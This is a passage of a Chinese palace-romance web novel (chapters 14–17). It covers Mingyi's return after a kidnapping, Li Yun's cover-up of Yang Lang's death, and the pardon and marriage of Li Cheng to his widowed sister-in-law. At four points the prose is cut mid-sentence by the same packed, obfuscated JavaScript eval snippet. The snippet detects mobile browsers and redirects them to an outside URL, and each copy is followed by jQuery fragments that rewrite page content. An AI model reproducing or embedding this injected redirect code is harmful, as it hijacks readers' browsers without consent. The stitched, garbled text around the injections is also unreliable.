明宜道:“跑了。” 李赟又看了看她,忽的轻笑一声:“他倒是言而有信,说放人便放人。” 说罢挥挥手:“楚飞,继续带人搜,务必留活口。” “收到。” 楚飞领着人继续去追李澄,原本的一队人马,顷刻间只剩寥寥几人。 李赟牵过马匹,朝明宜示意:“弟妹,上马。” 明宜看向跟前这匹高头大马,又扫了眼周围骑着马的几人,并没有多余的马匹。 莫非她要和李赟共乘一骑? 她不动声色瞥了眼李赟,对方那张俊美的脸,看不出任何情绪,见她半晌没动,似是意识到什么似的,道:“哦,这马对弟妹来说,确实太高了,我扶你上去。” 明宜不等他伸手,已经反应过来,也顾不得对方是不是要与自己共乘一骑,赶紧道:“阿兄,我自己能上。” 说着上前,双手扶住马背,抬腿踩上马镫,用力一登,顺利坐上了马背。 待她坐定,李赟牵起辔绳,拉着马掉头,沉声吩咐:“走,回永安园!” 显然并未打算上马,其他人见状也赶紧下来牵马而行。 明宜暗暗舒了口气,试探问:“阿兄,不骑马吗?” 这里也不只这一匹马,对方大可以让其他人让给他一匹。 李赟昂头淡淡看她一眼,道:“山路崎岖,步行更稳妥。” 明宜想着刚刚的一路颠簸,五脏六腑差点吐出来,深以为然点点头,又想到什么似的道:“既是这样,那我也下来自己走。” 李赟道:“不用,弟妹刚刚受惊,坐着便好。” 明宜抿抿唇,没再客气,只是让小凉王为自己牵马,总还是有点心虚。 行了没多远,迎面又有几匹马跑过来。 “表兄——三娘子——”周子炤气喘吁吁下马,小跑至两人跟前,又看向马背上的明宜,“三娘子,你没事吧?” 明宜笑着摇头:“殿下不用担心,我没事。” 周子炤又问:“那贼人呢?” 这回回答的是李赟:“跑了。” 周子炤再次看向明宜,不可置信地打量她一番,见她除却鬓发略微散乱,看着应是无碍,他眨眨眼睛:“表兄,你果然没说错,你那族弟确实没有伤及无辜。”说着又柔声道,“三娘子定是受了惊吓,赶紧回永安园安歇着。” 明宜道:“我没事的。” 周子炤啧了声,又朝李赟嬉皮笑脸道:“表兄,你看三娘子千里迢迢送阿玉回凉州,这才几天,就让她接二连三遇险,等回到王府,得好好替她压压惊。” “嗯,五郎说得没错。”李赟点点头,又转头抬眸看向上方的明宜,“等下山,我为弟妹办一场接风洗尘宴。” 明宜忙道:“不用了。” 李赟却继续道:“要的。” 周子炤也在一旁笑嘻嘻附和:“三娘子,你可别与表兄客气,我来凉州这么久,他也没给我设宴,正好让我沾沾三娘子的光,好好吃上一顿。” 李赟嗤了声,冷飕飕道:“怎么?我是短了齐王殿下吃喝么?” 周子炤忙嬉皮笑脸道:“那自是没有。”说着又问,“表兄,你的伤走路没事吗?” 明宜这才想起李赟昨晚中过毒,忙看向对方脸色,果然见面颊依旧苍白,但神色如常。 “无妨。”男人淡声道。 明宜也不知道对方昨晚那毒有多严重,便也没多想。 因是步行,原本骑马两刻钟不到的距离,等走回去花了将近半个多时辰。 明宜在兰园门口下了马,却见李赟脸色似乎更加苍白,不由道:“阿兄,你昨晚才受过伤,也回去好好休息。” “嗯。”李赟面色淡淡点头。 明宜与他行了个礼,转身回了院中,听闻动静的白芷几人,立刻咋咋呼呼迎上来。 “娘子,你没事吧?吓死奴婢了。”白芷分明是已经哭过,面颊上还残留着两道泪痕。 明宜笑着安抚道:“放心吧,我没事。” 白芷仔细打量她一番,确定她是真没事才稍稍放心。 到了屋内,明宜这才反应过来,自己还披着李赟那条披风,随手解下来攥在手里看了片刻,想了想,叫来秋霜递给对方:“你去把这个洗干净。” 秋霜“咦”了声:“这是王爷的披风么?”又见明宜鬓发散乱,心下明了,笑着随口道,“世人只知我们王爷是彪悍勇猛之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17045948|194636||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将,却不知他其实是个心细之人。” 明宜闻言,不由得微微一怔,但旋即又想,战场凶险,一个商场打仗的勇将,定是心细如发。 * 这厢的李赟待回到竹园,坐在罗汉榻上,才觉察小腿传来的疼痛,他不甚在意地将裤脚掀起。 那肿胀的伤口竟是流出了黑血,他随手拿过一只小瓷瓶,将瓶中白色药粉倒在伤口上,钝痛变成剧痛,他一双浓眉这才微微蹙起,又深呼吸一口气,闭了闭眼睛。 “表兄——” 周子炤一进来,见到的便是这场景,他大惊失色唤了一声:“你伤这么重?!” 李赟已经收好药瓶,不甚在意道:“皮外伤罢了,无需大惊小怪!” “这叫皮外伤?”周子炤指着他肿胀的伤处高声道。 李赟却是将裤脚放下来,不叫他再看:“等毒完全散了便好。” 周子炤在他对面坐下,撇撇嘴道:“明明伤这么重,刚刚还一路走回来。表兄,你是不是太逞强了些?” 李赟不以为然地扯了下嘴角,淡声道:“行伍之人,受伤本就家常便饭,若是打仗之时,因为受伤就原地不动,岂不是任人宰割?” 周子炤举起手做投降状:“行了行了,我就是个饱食终日的闲散王爷,不懂这些,只知道你这两日必须好好休养,切不可再乱动。” 李赟这回倒是没再说什么,只抬眸瞧了他一眼,片刻后,才冷不丁问道:“你在京城时,见过几次弟妹?” 周子炤想了想,道:“没几次,早先找宋太傅求字画时见过两回,再后来便是去姑母府上,打过几次照面。你问这个作何?” “随口问一句罢了。”李赟轻描淡写道,“你觉得弟妹是个什么样的女子?” 周子炤散漫地摊摊手:“高门贵女,大家闺秀,温婉贤淑,本无甚特别,但她不顾阿玉病重,执意嫁其为妻,却是让我刮目相看!”说着又想到什么似的,感慨道,“这回在凉州,更是让我有些意外,原以为是弱女子,但看来比我以为的有胆识。” 说到这里,他抬眼看向对面的男人,似乎也想听一番对方点评,不料李赟却是阖上双目,双手枕头,缓缓靠上往身后迎枕,话锋一转道,“行,你出去吧,让我歇会儿。” 周子炤嘴唇微微翕张了下,有些无语地撇撇嘴:“得了,你好好休息,千万别再乱动。” 他站起身往外走了两步,又顿住转头看向榻上闭目养神的男人,想到什么似的笑问:“表兄,茹素不利于伤势恢复,要不我让人给你弄点肉来吃?阿玉泉下有知也不会怪你的。” “不用,但你若想开荤我不拦你。” “表兄你这说的什么话,我再馋也不会在这几日偷嘴啊!”周子炤啧了声,又嬉皮笑脸嘿嘿一笑,“不过等下了山,你为三娘设宴时,我可就得好好吃一顿了。” 李赟敷衍地“嗯”了一声。 余下两日,明宜除了去给李悆上香,便未再外出,也未再见到李赟,只是每次都在李悆墓前看到还在燃烧的香,以及新鲜果盘,甚至还见到过一只草编蚂蚱。 那草蚂蚱两寸长,风拂过时,触须还会轻轻随风摆动,很是栩栩如生。 她想起曾经李悆也给自己编过一只这样的蚂蚱,她当时夸他手巧,对方笑说这是他阿兄教他的,他阿兄比他编得更好。 眼下看来,李悆倒不是自谦。 小凉王或许是个冷血无情杀伐决断的杀神,但对李悆来说,确实是个好兄长。 15.第 15 章 七日一过,浩浩荡荡的一群人终于下山。 不仅是这些憋坏了的族亲们松了口气,明宜也如释重负。 下了山,也就意味着,她可以离开这危机四伏的偏远凉州,回到歌舞升平的长安。 用过晚膳,明宜一边在院中欣赏新开的两朵睡莲,一边想着何时去与李赟商量回京的事。 江寒和余下在黑松驿幸存的侍卫,伤都已好得差不多,随时可以启程。 既然先前李赟说要设宴为自己接风洗尘,那正好就那时说罢。 只是也不知这接风宴是今晚还是明晚。 正想着,便见周子炤心风风火火地跑进来,上气不接下气道:“三娘子……出事啦……” 明宜见他气喘吁吁,蹙眉问道:“殿下,出什么事了?” 周子炤喘着气拍拍胸口道:“平阳县主的儿子杨琅,也就是阿玉的姑表兄,前两日偷跑下山吃酒落水淹死啦!这会儿县主正上门找表兄哭诉呢。” 明宜微微一愣,随即反应过来,他口中的杨琅便是那晚在永安园佛堂被李赟杀死的男子。 谋害凉王是全家抄斩的罪行,若此人乃是至亲,无疑是一桩丑闻,李赟杀杨琅时虽然毫不留情,却又掩盖其罪行,无疑是为了大事化小,也是给姑母一家留情面。 周子炤说罢,又想到什么似的,提醒道:“三娘子,你是凉王府二夫人,平阳县主也算是你姑母,你要不要过去说几句安抚的话?” 明宜回过神来,想着也是,如今自己身在凉王府,该做的表面功夫还是得做,于是点点头:“嗯,待我净了手就过去看看。” “行,我就来跟你说一声。”说完,齐王殿下又风风火火走了。 明宜好笑地摇摇头。 也对,那平阳县主与皇家并无关系,周子炤不过是看个热闹罢了。 秋霜为明宜打来洗手的水,忍不住义愤填膺道:“那杨大郎仗着自己是王爷表兄,在凉州城简直是一霸,如今死了真是活该。” “是吗?”明宜好奇道。 寒露在一旁点头附和:“没错,此人嗜酒如命,从前有次喝醉酒当街纵马伤人,王爷知道后,将他关进过牢狱几日,最终县主来求情,王爷顾忌情分,把人放了。没想到他倒是记恨上了王爷,差人编了童谣散播。”秋霜连连点头附和,“后来王爷查到是他,也没跟他计较。这回喝了酒溺弊,我看是老天开眼。” 明宜却是好奇问:“那童谣是怎样的?” 寒露蹙眉想了想,道:“黄沙广,绿草长,凉州出了个阎罗王;喝人血,吃人肉,六亲不认杀人狂……” 还未说完,被秋霜医生轻咳打断。 她赶紧捂了捂嘴。 明宜则是不以为意地笑了笑,她从前在京城坊间也听过类似童谣,想来便是从凉州口耳相传过去,关于小凉王残暴嗜杀的传闻,这童谣只怕居功不少。 原来是有人故意散播的谣言。 不过倒也不全然是,李赟是不是阎罗王不好说,但心狠手辣确实不假。 哪怕那杨大郎罪该万死,但在佛祖面前杀人,也实在非常人所为。 她洗了手,稍稍整理仪容,便去了正院。 还没走进院门,便听到堂屋中传来妇人撕心裂肺的哭声,想来就是那位平阳县主了。 “阿赟,你说琅儿好好的一个人,怎么就会死了呢。他是贪杯,但从未独自一人出去饮过酒,定是有人害他啊!阿赟,你可要替琅儿做主,不能让他就这么平白无故冤死。” 平阳县主歪坐在地上,哭得泣不成声。 李赟半蹲在她身旁,伸手拍着她的肩膀,轻声安抚道:“姑母节哀,发生这样的事,侄儿也很难过,可仵作已经检验,表兄确系醉酒溺亡。他向来酣饮无度,为何独自一人,想来应是怕人知道他在阿玉服丧期偷偷去寻欢饮酒。” 平阳县主闻言哭得更大声:“阿赟,我就只有这一个儿子,以后的日子叫我怎么活啊?” 李赟道:“姑母,切莫说这样的话,且不说侄儿定会为你养老送终,你还有阿萝。” 身旁的少女也抽噎着附和:“母亲,表兄说得对,你还有我。” 平阳县主抹了抹眼泪,平静些许,拉着李赟的手臂道:“阿赟,琅儿的后事就靠你了,姑母日后也只有你能依仗了。” “姑母放心,侄儿定会将表兄厚葬。从小姑母对我多有照拂,不管表兄在不在,侄儿都是姑母的依仗。” 明宜望着屋中姑母慈爱侄子孝的一幕,脑中不禁浮上那日佛堂里的场景。 没想到小凉王还这般会演戏,她算是见识了此人的城府。 正想着,李赟已经抬头,朝门口的明宜看过来。 四目相对,对方那双灰色微微眯了眯,明宜心中一动,总觉得对方已经知道什么。 她暗暗吸了口气,不动声色垂眸,走到门口,站在门槛边行了礼:“明宜见过阿兄、姑母。” 听到他的声音,原本从嚎啕转为抽噎的平阳县住,转过头泪眼模糊地看向她,哀嚎一声:“明宜啊——” 明宜抿抿唇,不紧不慢走过去,刚刚走到对方身旁蹲下,便被一把抱住。 平阳县住哭得越发嚎啕:“明宜,你可怜的表兄去跟阿玉团聚了,咱们以后日子可怎么过啊?!” 明宜与对方不过打过一次照面,这样的亲昵,实在是让她有些不知所措,她轻轻拍了拍对方肩膀,柔声道:“姑母节哀。” 说着,又抬眸有些无奈地看向李赟。 李赟将扶住平阳县主的肩膀,将人转过去,道:“姑母,身子要紧,我差人送你和阿萝回府好好休息。” 平阳县主点点头,却又想到什么似的,道:“阿赟,我还是觉得琅儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050846|194636||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是被人害死的,姑母不能让他不明不白地下葬,你再让人去查查可好?” “母亲……”她身旁的女儿阿萝却是不干了,“阿兄是什么人你不又不是不知,大表兄日理万机,刚刚送完二表兄,又要安排阿兄后事,你莫要再为他找事。” 倒是个明事理的少女。 平阳县主微微一怔,继而又大哭起来。 李赟深吸一口气,拍拍她的肩膀:“姑母莫要伤心,我定会将表兄落水来龙去脉查清楚,给姑母一个交代。” 说这话时,他双眸却是淡淡望着明宜。 明宜一时心如擂鼓,嘴上却是顺着他的话道:“姑母,阿兄定不会让表兄冤死,您回去好好休息,这几日我在凉州,若是有什么能帮上忙,您尽管开口。” 平阳县主听了李赟的承诺,稍稍松了口气,又拍拍明宜的手:“明宜,这么好的姑娘,是阿玉福气太短。” 明宜看出来了,这位平阳县主虽然年近半百,却心性单纯,也难怪李赟大费周章做戏。 她不动声色地瞧了眼李赟,对方吹着眸子,浓睫微动,俊美的脸上平静无澜,全然叫人看不出他在想什么。 “大表兄二表嫂,那我带母亲回府了。”阿萝搀扶起地上的平阳县主。 “嗯。”李赟也缓缓起身,“我会安排人过去府上,若是有什么事,你让人来王府传信。” “明白的。”阿萝点点头,“大表兄你也好好休息,别太过操劳。” 李赟勾了勾嘴角,轻描淡写“嗯”了一声。 李赟亲自送姑母和表妹到院门外上车,又站在车外安抚几句,待车夫驱动马车,才不急不慢转身,看向门口的女子。 一身素衣的明宜静静立在屋檐下,身后是朱红大门,肩头是斜阳余晖,衬得她愈发明眸皓齿,清丽绝伦。 李赟一步一步走上台阶,却在最后一步台阶前,站住了脚步。 因为身形高大,虽然低了一阶,他还是比明宜微微高出一点,却也正好让他看人时不再需要低头垂眸,便少了点睥睨的味道。 “弟妹——”他不紧不慢开口。 明宜对着那双深灰色眸子。 李赟继续:“你是否也觉得表兄溺水不是意外,而是被人所害?” 他语气云淡风轻,仿佛只是随口一问。 明宜的心却止不住狂跳起来,她努力让自己保持镇静,摇摇头道:“生死之事,明宜不敢妄下结论,但不管是意外还是被人所害,相信阿兄都会查清楚。” 李赟勾了勾嘴角,抬步走到阶上。 明宜只觉男人骤然高出一截,自己再看他时,不得不微微昂头。 李赟微微垂眸,对上少女那双漆黑杏眼:“天有不测风云,人有祸福旦夕,谁也不知意外何时到来,或许表兄命该如此。” 明宜点头:“阿兄说得是。” 16.第 16 章 因着杨琅过世,李赟要帮其操办后事,接风宴便只能推后,明宜再见到李赟已是又过了两日。 清晨,她刚用过早膳,便有府中小厮过来,说王爷请她去明正堂。 明宜来了王府这几日,也大概知道王府格局,那明正堂似乎是李赟议事的地方。 她满心狐疑跟上小厮。 到了门口,小厮示意明宜稍等,自己上前先敲了敲门:“王爷,二夫人来了。” “请她进来。”李赟彬彬有礼却又冷冽如冰的声音从门内传来。 小厮赶紧替明宜推开虚掩的门,躬身有请。 明宜走上前,刚跨过门槛,便因为屋内场景,脚下一顿。 只见屋中央,跪着一个男人,虽然只看到背影,她还是认出正是那日挟持她的李澄。 “阿兄……”明宜不明所以地看向施施然坐在红木案后的李赟。 李赟伸手指了指旁边的圈椅:“弟妹,请坐!” 明宜往前走了几步,狐疑地看了眼地上的李澄,只见对方形容憔悴,一副颓然之状,显然是心如死灰。 她好整以暇坐在椅上,又看向案后神色莫辨的李赟,犹疑问:“这是……” 李赟拿起案上茶盏,轻轻呷了一口,才不紧不慢道:“今日一早,李澄便主动来请罪,将所做之事悉数交代。他铸下大错,理应当斩,可他父兄皆是战死疆场,乃是族中功臣,倒是叫本王一时难以定夺。本王想着那日他挟持弟妹,便请弟妹过来,看改如何处置?” 明宜看了看地上的男人。虽然这个李澄不是大奸大恶之人,但也确实犯了死罪。 她不是圣母,也不愿当恶人,李澄是生是死,不该由她定夺。 她不知李赟为何问自己意见,但她并不打算掺和其中。 思及此,明宜轻笑了笑,望向李赟:“阿兄,他挟持我但没伤我所以事小,但刺杀王爷事大,如何处置,还得王爷定夺。” 李赟对上女人漆黑杏眸,嘴角弯了弯,又看向李澄:“既是如此……”说到这里,他却忽然打住。 李澄惊惶地看向他,想要求饶,嘴唇翕张了片刻,到底没能说出口。他再怕死,也知自己已是将死之人,挣扎不过徒劳,还不如从容体面些。 只是到底还是惶恐,肩膀不由自主下沉得更厉害,像是霜打茄子一般。 明宜见对方这模样,忽然就生出一丝怜悯之心,至少她想听听他不得已为之的故事。 就在这时,楚飞忽然从外面闯进来:“王爷——” 李赟蹙眉:“怎么了?” 楚飞面带嫌恶地看向地上萎靡不振的男人,冷哼一声道:“李澄嫂嫂求见。” 原本萎靡的男人闻言,蓦地睁大眼睛,原本垮下的肩膀又撑起来,他手脚并用爬到案前,连连磕头,慌乱哽咽道:“王爷,都是我,跟嫂嫂没有关系,还请您让人将她赶走,别让她看到我这副模样!” 李赟却是不为所动,只淡声吩咐:“让她进来!” 楚飞拱手应是。 李澄越发惊慌失措:“王爷,一人做事一人当,还请别牵连嫂嫂。” 他双眼发红,若先前是心如死灰的冷静,那如今便是彻底的慌乱,整张脸由白涨红,不停地与李赟磕头。 明宜望着这一幕,心下不由狐疑。 她微微抬眸,不动声色看了眼李赟。 只见对方那张俊美的脸,依旧面无表情,但颇有几分一切都在掌握之中的笃定。 须臾之后,楚飞领着一个妇人进来,看到跪在地方磕头的李澄,顿时圈圈一红,几步上前,噗通一声跪在地上,用力磕了个头:“民妇拜见凉王殿下。” 李赟摆摆手:“萍娘乃本王族兄之妻,本王应称你一声阿嫂。阿嫂不用多礼。” 这叫萍娘的妇人,看着也不过二十多岁,细脸黑眸,是个秀丽的汉人女子。 此时面容惨白,显然是被吓得够呛。 李赟话音落,她赶紧用力叩头几下,哽咽道:“小叔是因我和他两个侄儿被杨琅威胁,才犯下大罪,若要惩罚,罚我,放过小叔吧。” “阿嫂——”李澄红着脸嗔道,“你过来作何?忠儿聪儿你不管了?” 李赟不动声色看着下方两人,问道:“原来李澄你是被表兄威胁,那刚刚为何不说?” 李澄哽咽道:“铸成大错,说与不说有何区别?” 李赟轻笑:“为何杨琅威胁你时,你不告诉我?” 李澄低声道:“我不敢赌阿嫂和侄儿的性命。” 李赟了然点头:“嗯,这道也是,换做我,兴许也与你一样。” 明宜默默看着男人对女人的神色,那浓浓的担忧和愧疚,显然超出了叔嫂关系。 正想着,耳边传来李赟低沉的声音:“弟妹——” 明宜微微一怔,转头对上他的目光。 李赟:“李澄为人所迫,情非得已,你说本王是不是该网开一面?” 他话音落,萍娘忽然转过身,膝行至她跟前,连连磕头道:“二夫人,听闻二郎挟持过你,他无意伤你,还请你开恩!” 原本已看淡生死的李澄,见状也挪过来,磕头道:“还请二夫人开恩。” 明宜赶紧将女人扶起来。 萍娘无法再磕头,只昂这头泪眼婆娑望着明宜:“二夫人,我夫君过世得早,留下两个稚儿,若不是这些年二郎的照料,我们母子三人不知如何过活。我可以死,但二郎不能死。” “阿嫂,你说的甚么话?我岂能要你死?” 两人此时倒不像是叔嫂,像是一对落难鸳鸯。 明宜到底还是动容,她抿抿唇,转头看向李赟:“依我看,孤儿寡母着实可怜,或许阿兄可考虑网开一面?” 李赟挑挑眉头:“既然弟妹如此说,那我就网开一面。” 明宜:“……” 她算是明白了,李赟大约本就没打算杀李澄,只是迫于面子找不到由头,便让自己做这个台阶让他下。 李赟说完这句,顿了下,又补充道:“死罪可免,活罪难饶。” 李澄先是愣了愣,继而不可置信地睁大眼睛,手脚并用爬到案前,连连磕头:“多谢王爷。” 萍娘也过去磕头:“谢谢王爷。” 两人磕完李赟,又想到什么似的,再次膝行过来,叩拜明宜:“多谢二夫人帮忙求情。” 明宜心中无奈,她其实只是给李赟当个台阶而已。 一旁的楚飞却是不干是,上前道:“王爷,他可是差点带人刺杀你,你当真要饶了他?” 李赟道:“二夫人都不在意,我何须在意,倒不如二夫人心胸开阔。” 我谢谢你的夸赞啊! 明宜忍不住腹诽。 李赟淡淡看他一眼,又对楚飞道:“去,带他领二十大板。” 楚飞不情不愿拱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17061744|194636||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,正要伸手去拉人,李赟忽然想到什么似的,开口:“对了李澄,你今年年方几何?” 李澄怔了怔,拱手回道:“二十有五。” “可已议亲?” “未曾。” 李赟点点头,又道:“你双亲早逝,从小与兄长相依为命,偏偏兄长也在六年前战死疆场,留你独自支撑门楣,你脾性孤高,遇到事也不从向本王求助。你与本王同一个高祖,本该是同气连枝的兄弟,走到如今这局面,是我这个表兄做得不够妥帖。” 李澄闻言顿时惊惶,连连磕头道:“是澄的错。” 李赟不紧不慢继续道:“你既已二十五,当该娶妻生子,方才定性。如此,本王替你做主,为你谋划一门亲事如何?” 他不过年长李澄一岁,却俨然是上位者的威信。 而他自己亦未婚配,这番话却说得理所当然。 李澄闻言大惊失色,下意识转头看了眼身旁的女人,而萍娘则是低下头。 “王爷——”男人忽然双手举过头顶,“澄一事无成,还有侄儿要照顾,怎敢娶亲?” 李赟眉头轻挑:“本王看过你的诗文,在坊间已颇有名气,虽未入仕,但也算有了安身立命的本事,如何就不能娶妻?何况你还是本王族弟。” 李澄又转头看向萍娘。 “你看你阿嫂作何?”李赟勾唇轻笑了笑问道,说着,又似是意识到什么,点点头,“也对,长嫂为母,你要娶妻是该与嫂子商量。” 李澄忽然重重磕下去:“王爷的好意,澄心领。但澄无心娶妻,只想好好将两个侄儿抚养长大。” 李赟望着他默了片刻,目光挪向他身旁的妇人:“萍娘,本王欲与你家小叔安排一桩婚事,你意下如何?” 萍娘躬身道:“萍娘替二郎谢谢王爷好意。” 李澄转头看向她,神色有些愠怒又委屈,轻喝道:“萍娘——” 萍娘却是垂头不说话。 明宜看着满脸焦灼的李澄和沉默不语的萍娘,心下已经了然。 她又抬眸看向李赟。 对方觑眼与她的目光对上,那老神在在的模样,显然早已知道地上两人的微妙。 李赟勾了下嘴角,很快收回目光,淡声道:“既然你阿嫂也没意见,那这件事我来办。” 李澄抬手重重磕了一个头,一字一句道:“澄多谢王爷好意,但澄已心有所属,实在不能接纳这份好意。” “哦?是么?”李赟轻笑一声,“既心有所属,那更是好办,你说她是谁,我差人帮你去提亲,即日便可成婚。” 李澄却不再说话。 李赟哂笑一声:“李澄,我对你网开一面,乃是看你有情有义,敢作敢当。既是有心上人,为何不敢说?难不成你这心上人见不得光?” 李澄咬咬牙,转头看了眼身旁的萍娘,深吸一口气,语气掷地有声道:“澄的心上人正是我阿嫂,这辈子除了阿嫂,我谁都不娶。” “二郎!”萍娘面上大骇,不由轻喝一声,涨红脸朝李赟再次重重磕头道,“王爷切莫听二郎胡说,他年轻不懂事,一时意气罢了。” 李赟还未说话,李澄先面红耳赤反诘:“阿兄在我这个年龄,侄儿们都已经能满地跑,我如何就年轻不懂事?这些年我的心意阿嫂你看的一清二楚,难不成你就对我没一点心思?” “二郎,你莫再说这些胡话了!”萍娘眼泪滚下来。 17.第 17 章 “我今日不说,难不成要等王爷为我娶了妻再说?你就算不在意我,可就忍心眼睁睁看一个无辜女子嫁给一个心有他人的男儿?”李澄一口气说完,又拱手面向李赟,好整以暇道,“王爷好意,恕澄不能领命。” 李赟放在桌上的手指,无声敲了敲案面,盯着两人良久,才幽幽开口:“萍娘——” 萍娘慌忙应道:“民妇在。” “李澄对你的心意,你可知?” 萍娘还未开口,李澄已经先道:“王爷,这是我一个人的事,与阿嫂无关,还请王爷不要为难她。” 李赟玩味地笑了笑:“你倒是个痴心人。”却又继续问,“萍娘,本王问你,你心里可有李澄?” 萍娘肩膀一抖,头越发低得厉害。 李澄这回没再说什么,只是转头满怀期待地看着她。 李赟见她不回答,轻笑道:“那本王允你与李澄结为夫妻,你可愿意?” 萍娘猛得抬头看向他,秀丽的脸上一阵红一阵白,咬着唇道:“王爷,臣妇乃忠烈遗孀,岂能做出这等违伦常之事?” 李澄的肩膀顿时垮下几分,怅然若失般闭了闭眼睛。 李赟面无表情望着二人,半晌没说话,一室静谧,仿佛能听到呼吸和心跳。 地上两人低着头,也都不敢再开口。 原本只是看热闹的明宜,这会儿也莫名有了几分紧张,意识抬眸看向李赟。 似是觉察她的视线,对方也朝她看过来,深灰眸子微微涌动,不知在想着什么。 明宜忽然有种不好的预感。 果不其然,对方看着她,不紧不慢开口:“本王乃沙狄人,不屑这些纲常伦理,但毕竟是男子,不好替萍娘做主。弟妹,你与萍娘同为汉家女子,你自京城长安来,祖父曾是太傅,德高望重,定是从小便习得各种规矩礼仪,你可也认为伦理纲常对女子来说,高于内心所向?” 明宜一时怔住。 她自然不屑束缚女子的纲常伦理,但她没忘记自己新寡的身份,若是如实说,动机实在可疑。 但若说认同纲常伦理,且不提自己眼下身份不合适,对眼前这对苦命鸳鸯也委实不公。 她也看出这萍娘对李澄并非无意,无非就是因为这座束缚妇女的大山罢了。 她避开李赟意味深长的目光,看向满眼无助的李澄,又看了眼地上身形单薄的弱女子,暗暗吸了口气,略做斟酌后,不紧不慢开口道:“凉州与京城风土人情不同,若此事是在京城,我定然觉得纲常伦理该放在首位,但你们是在凉州,胡汉杂糅,民风开放,鲜少规矩,没那几个人会在意这种事,重要的还是萍娘自己的心意。” 李赟嘴角微不可寻地弯了弯,点点头道:“嗯,弟妹说得有理。”又对地上的女人道,“我们沙狄人,本就有父死子继,兄死弟及的传统,只是如今我们在凉州安营扎寨,逐渐改掉蛮夷陋俗,却也不必遵循那束缚人的纲常。萍娘,你与李澄的事,只看你是否自愿?” 李澄闻言大喜过望,满脸激动地看向萍娘,只等着她的反应。 萍娘看了看他激动的神色,抿抿唇,到底是低下头红着脸小声嚅嗫道:“臣妇全凭王爷安排。” 虽未直接应允,却也表面了心意。 李澄先是一怔,有些不可置信地看着对方,片刻后,两行热泪蓦地滚出眼眶,哽咽喃喃唤道:“萍娘……萍娘……” 萍娘见到对方满脸泪水,终于是鼓足勇气,将他的手握住。 这场景,连旁观的明宜,也不由得有些动容。 只有案后的李赟,面上依旧无波无澜,只是挥挥手,冷声道:“行,李澄下去领罚,然后回去准备婚事,即日成婚。”顿了下又补充一句,“此外,杨琅谋逆之事,不得外传。” “多谢王爷隆恩!”李澄喜不自胜地磕头,对那即将到来的二十杖责,简直觉得有如奖赏。 萍娘也是松了口气,叩谢之后,便跟着李澄出门,二人出门前,还不忘又朝明宜鞠躬道谢。 明宜目送两人出了门,良久,才想起来回头看向李赟。 却见李赟正望着自己,不知看了多久。 “阿兄……” 她正要开口说话,却被李赟打断:“我本不知如何处置李澄,幸得弟妹指点,方才皆大欢喜。” 明宜哪受得起这高帽,笑着道:“我知阿兄原本就没打算处死李澄。” 他这种杀伐决断之人,岂会需要自己帮忙做定夺? 想要杀的人,在佛堂里也照杀不误。 李赟挑挑眉头,不置可否。 明宜继续笑道:“乃阿兄族弟,又一直让他看守永安园,安心读书作诗,想来对他人品信得过,何况他父兄又皆是战死,阿兄定然对他有恻隐之心。” 李赟确实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17065514|194636||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扯了下嘴角,讥诮一笑:“行伍之人最忌恻隐之心。”旋即又道,“我只是不想族中兄弟,短短时间内死这么多。” 这倒是句实话。 明宜道:“不管怎样,凉州不能没有阿兄,阿兄定要保重。待明宜回了京城,也会去寺庙里为阿兄祈福。”说着,顺着说下去,“如今阿玉入土为安,江寒他们伤也养得差不多,待过两日我们便就启程回京,也好早些与母亲禀报。” 李赟抬眸看了看她,神色莫测,一时没说话,明宜也不知为何,明明自己是在做一件顺理成章的事,却莫名有些不安。 须臾之后,李赟终于开口:“再过几日便是中秋,阖家团圆之日,你们在路上不妥,等中秋之后弟妹再做打算罢。” 他语气云淡风轻,但显然不是商量,而是通知。 距离中秋只得三天,明宜确实归心似箭,却也不急着这几日,便点点头道:“嗯,阿兄说得是,那我便在王府过了中秋再启程。” 李赟想到什么似的道:“正好趁着月圆团聚之夜,为弟妹一行接风洗尘,届时请伶人来府中舞上一曲,好好热闹一番。” 明宜没推辞,只道:“多谢阿兄,但凭阿兄安排。” 